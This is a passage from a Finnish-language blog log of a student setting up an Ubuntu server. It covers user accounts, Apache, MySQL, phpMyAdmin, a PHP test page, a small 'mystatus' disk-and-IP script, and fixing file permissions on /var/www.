Work Phone []:

Home Phone []:

Other []:

chfn: name with non-ASCII characters: ’Åke Andersson’

Is the information correct? [Y/n] y

kristiina@kristiina-VirtualBox:~$

kristiina@kristiina-VirtualBox:~$ sudo adduser leila

Adding user `leila’ …

Adding new group `leila’ (1004) …

Adding new user `leila’ (1004) with group `leila’ …

Creating home directory `/home/leila’ …

Copying files from `/etc/skel’ …

Enter new UNIX password:

Retype new UNIX password:

passwd: password updated successfully

Changing the user information for leila

Enter the new value, or press ENTER for the default

Full Name []: Leila Laila

Room Number []:

Work Phone []:

Home Phone []:

Other []:

Is the information correct? [Y/n] y

Tässä vaiheessa oli aika asennella pyydetyt välineet ja palvelut sekä tämän jälkeen esimerkki sivujen luominen.

sudo apt-get install synaptic

Reading package lists… Done

Building dependency tree

Reading state information… Done

The following package was automatically installed and is no longer required:

linux-image-generic

Use ’apt-get autoremove’ to remove it.

The following extra packages will be installed:

docbook-xml libept1.4.12 librarian0 rarian-compat sgml-data

Suggested packages:

docbook docbook-dsssl docbook-xsl docbook-defguide perlsgml w3-recs opensp

libxml2-utils dwww menu deborphan tasksel

The following NEW packages will be installed:

docbook-xml libept1.4.12 librarian0 rarian-compat sgml-data synaptic

0 upgraded, 6 newly installed, 0 to remove and 167 not upgraded.

Need to get 3 355 kB of archives.

After this operation, 12,4 MB of additional disk space will be used.

Do you want to continue [Y/n]?

Synaptic Package Manager asentui mukavasti, tosin varsinaisessa käynnistyksessä säpsähdettiin hieman kun ruutu peittyi punaiseksi, mutta tämä johtui vain siitä että SPM (Synaptic Package Manager) latasi kovalla tahdilla paketteja ohjelmaansa.

Synaptic Managerin käynnistin terminaalin kautta komennolla:

$ sudo synaptic

SPM:n ollessa valmis ja latautunut, kirjoitin hakukenttään ensi töikseni Apache install ja valitsin listalta apache2bin:in, merkitsin sen asennettavaksi ja asensin SPM:ää käyttäen. Samalla periaatteella hain ja listasin MySQL:n ladattavaksi. Asennuksessa tosin törmäsin siihen että default ubuntu asennuksen asettama muistin määrä ei riittänyt MysQL ja phpMyAdminin asennukseen. Joten ensin tallensin kaiken muun mikä oli kesken, snapshotin otin ubuntusta ennen sen sulkemista. Tämän jälkeen menin ubuntu asennuksen virtualboxin asetuksiin ja nostin muistin määrää korjatakseni edellisen esteen pakettien asennukselle.

Lopetus tälle päivälle klo 22.00

Muistin lisäämisen jälkeen siirryin jatkamaan asennuspakettien hakua SPM:stä, paketit valittuani painoin ’apply’ nappia ja hyväksyin asennuksen aloittamisen.

Onnistuneiden pakettien asennuksen jälkeen testasin ensimmäisenä phpMyAdminin toiminnan avaamalla sen Unity-valikon kautta, sama onnistuisi terminaali komennolla:

$ sudo phpMyAdmin

Kirjauduin roottina sisään ja siirryin users valikkoon. Tämän jälkeen lisäsin Pekka Winhalle käyttäjätunnukset phpMyAdminiin, samalla loin hänelle tietokannan ja annoin täydet oikeudet siihen. Vahva salasanan ja käyttäjätunnukset luovutettaan paperilla käyttäjälle. Tämän jälkeen testasin että toimivatko luomani tunnukset varmasti. Noh eiväthän ne toimineet, vaan herjaksi tuli:

#1045 Cannot log in to the MySQL server

Hetken googlettelun jälkeen ongelmaan löytyi ratkaisu sivustolta http://dba.stackexchange.com/questions/19950/why-cant-this-mysql-user-log-in-with-password, jolla kerrottiin että käytännössä lomakkeessa kohtaan ’Host’ olisi pitänyt valita alasvetovalikosta local, itsellä se oli jäänyt tyhjäksi. Tämän korjattuani roottina, kirjauduin ulos ja kirjauduin Pekka Winhan tunnuksilla sisään, tällä kertaa onnistuneesti.

Ollessa sisäänkirjautuneena phpmyadmin antoi varoituksen siitä, että The mcrypt extension is missing. Please check your PHP configuration.

Jälleen hetken googlettelun jälkeen selvisi, että vika on php5-mycrypt paketissa, joka ilmeisesti asentaa mcrytp.ini tiedoston väärään hakemistoon ja tämän takia ei siis toimi. Ohjeissa neuvottiin käyttämään seuraavia komentoja terminaalissa vian korjaamiseksi:

$ sudo mv -i /etc/php5/conf.d/mcrypt.ini /etc/php5/mods-availabe/

$ sudo php5enmod mcrypt

$ sudo service apache2 restart

Jännityksen jälkeen korjaus onnistui, kirjauduin uudelleen phpMyAdminiin ja varoitus oli poistunut niin rootilta kuin uudelta käyttäjältä.

Esimerkki sivujen teko.

Tässä vaiheessa jouduin suoraan turvautumaan googleen, koska ulkomuistista ei tuo php-sivujen teko taittunut. Googlettamalla ”ubuntu php example pages” löysin heti kolmantena linkin (http://www.allaboutlinux.eu/how-to-run-php-on-ubuntu/) , jonka takaa löytyi selkeät vaihe vaiheelta ohjeet ongelmaani. Ohjeissa olivat niin apache2 kuin php:n asennusohjeet, joita en tosin tarvinnut koska kyseiset ohjelmat olin jo asentanut. Php:n toiminnan olin jo testannut selaimella localhostilta, tämän jälkeen kuitenkin noudatin ohjeita ja poistin default-sivun kirjoittamalla komennon terminaaliin:

$sudo rm/var/www/index.html

Tämän jälkeen ohjeistusta seuraten avasin tyhjän dokumentin ja johon kirjoitin yksinkertaisen esimerkkisivu skriptin, joka palauttaa PHP-tiedot minulle. Tyhjän dokumentin sai auki komennolla:

$ sudo gedit /var/www/index.php

Tyhjään dokumenttiin kirjoitin seuraavaa:

Tämän jälkeen tallensin tiedoston ja suljin sen, jonka jälkeen käynnistin serverin uudelleen jotta muutokset tulisivat voimaan, komennolla:

$sudo /etc/init.d/apache2 restart

Tämän jälkeen avasin uudelleen selaimeen http://localhost/, edelleen näkyi vanha sivu mutta F5 näppäimen painamisen jälkeen selaimen välimuisti päivittyi ja PHP-sivu tuli hienosti näkyviin. Sivua pystyy editoimaan helposti milloin vain komennolla:

$sudo gedit /var/www/index.php

Asenna kaikkien käyttäjien käyttöön skripti (shell script) nimeltä “mystatus”, joka näyttää vapaan levytilan (df -h) ja koneen ip-osoitteen.

Ensitöikseni testasin huvikseni komennon

$ df -h

ja sieltähän nuo levytiedot pompsahtivat esiin. Seuraavaksi lähdin hakemaan komentoa jolla saisin ip-osoitteeni näkyviin, joka onnistuu seuraavalla komennolla:

$ ip addr show

Sain tietooni ”tutoriltani” myös huomattavasti itselleni selkeämmän tavan näyttää selkeämmin ip-osoitteeni, kirjoitin komennon:

$ ip addr show | grep inet | grep eth0

Tässä vaiheessa lähdin luomaan scriptiä luomalla ensin tiedoston mystatus komennolla:

$ gedit mystatus

Tämän jälkeen kirjoitin tiedostoon scriptin:

#!/bin/bash

ip addr show | grep inet | grep eth0

df -h

ja tallensin tiedoston. Tämän jälkeen annoin kaikille käyttäjille oikeudet siihen komennolla:

$ chmod a+x mystatus

Tämän jälkeen oli vuorossa skriptin siirtäminen yleiseen hakemistoon jota kaikki voivat käyttää:

$ sudo cp mystatus /usr/local/bin

Testattua skriptiä totesin että sen järjestys tulisi muuttaa, koska ip-osoite näkyisi selkeämmin jos se olisi viimeisenä. Joten avasin jaetun skriptin sen hakemistosta komennolla:

$ sudo gedit /usr/local/bin/mystatus

ja vaihdoin järjestyksen täksi:

#!/bin/bash

df -h

ip addr show | grep inet | grep eth0

Ennen lopullista tunnusten luovuttamista käyttäjille, testasin vielä että he varmasti pääsevät kirjautumaan sisään luoduilla tunnuksilla. Kaikkien tunnukset toimivat ja myös mystatus scripti toimii kaikilla. Tarkistin myös että PHP-etäkäyttö onnistuu kaikilta käyttäjiltä, tämä ei valitettavasti toiminutkaan ihan vielä. Koska olin luonut /var/www/index.php root oikeuksilla, en päässyt muilla käyttäjillä muokkaamaan kyseistä tiedostoa. Muutin hakemiston ryhmän omistukseen ja annoin sille rwx-oikeudet siihen. Lopputulos on etten päässyt enään muokkaamaan edes roottina esimerkki tiedostoa jonka tein /var/ hakemistoon, en myöskään saa muokattua enään index.php tiedostoa, en saa tiedostoa edes auki enään.

Tässä vaiheessa kahlasin useita eri sivustoja läpi, etsien ratkaisua ongelmaani. Kokeilin vaihtaa tiedoston kuin hakemiston omistajuutta, tuloksetta. Esitin kysymyksiä myös IRC-kanavalla, jossa tarjottiin useita jo kokeilemiani neuvoja ja jossa oltiin melkoisen pyörryksissä että miksi ihmeessä tiedosto ei avaudu.

Tässä vaiheessa päätin että jos ”tutorini” ei pysty auttamaan ongelman ratkaisussa, tekisin ko. osion uudelleen. Tutorin neuvosta tehtiin paha ja kirjauduttiin roottina, jona ei saisi koskaan kirjautua mutta tässä vaiheessa koettiin että menee mukavammin kun ei tarvitse sudottaa kaikkea. Eli ensin komento terminaaliin:

$ sudo su

Sitten sudon salasanan syöttö, tämän jälkeen siirtyminen hakemistoon /var/www/, komennolla:

$ cd /var/www/

Jonka jälkeen tarkistin kenellä on tiedostoon oikeudet komennolla:

$ ls -l

Jonka jälkeen vaihdoin index.php tiedoston omistajuuden www-data ryhmälle ja annoin karttakatu ryhmälle oikeudet siihen, komennolla:

$ chown www-data:karttakatu index.php

Tämän jälkeen annoin kirjoitus ja lukuoikeudet index.php tiedostolle, jotta ryhmä voisi muokata tiedostoa.

$ chmod 664 index.php

Jonka jälkeen tarkistin listauksella, että oikeudet olivat muuttuneet. Komento:

$ ls -l

Tiedoston oikeudet näkyivät päivitettyinä -rw-rw-r– 1 www-data karttakatu 32 tammi 22 23:16 index.php

Tämän jälkeen vielä annoin käyttäjille oikeudet hakemistoon, jotta tiedoston muokkaaminen onnistuisi.

$ chmod 775 www

Tämän jälkeen testasin pystyvätkö käyttäjät muokkaamaan index.php tiedostoa, kirjautuen jokaisella käyttäjällä sisään ja ajaen komennon

$ gedit /var/www/index.php

jolla aukaisin tiedoston ja muokkasin sitä jokaisella käyttäjällä, sekä aukaisin localhostin selaimessa nähdäkseni muutokset. Nyt käyttäjät pystyvät muokkaamaan index.php tiedostoa halutessaan.

Lähteet:

  • Rousu, Pekka: Tutorointi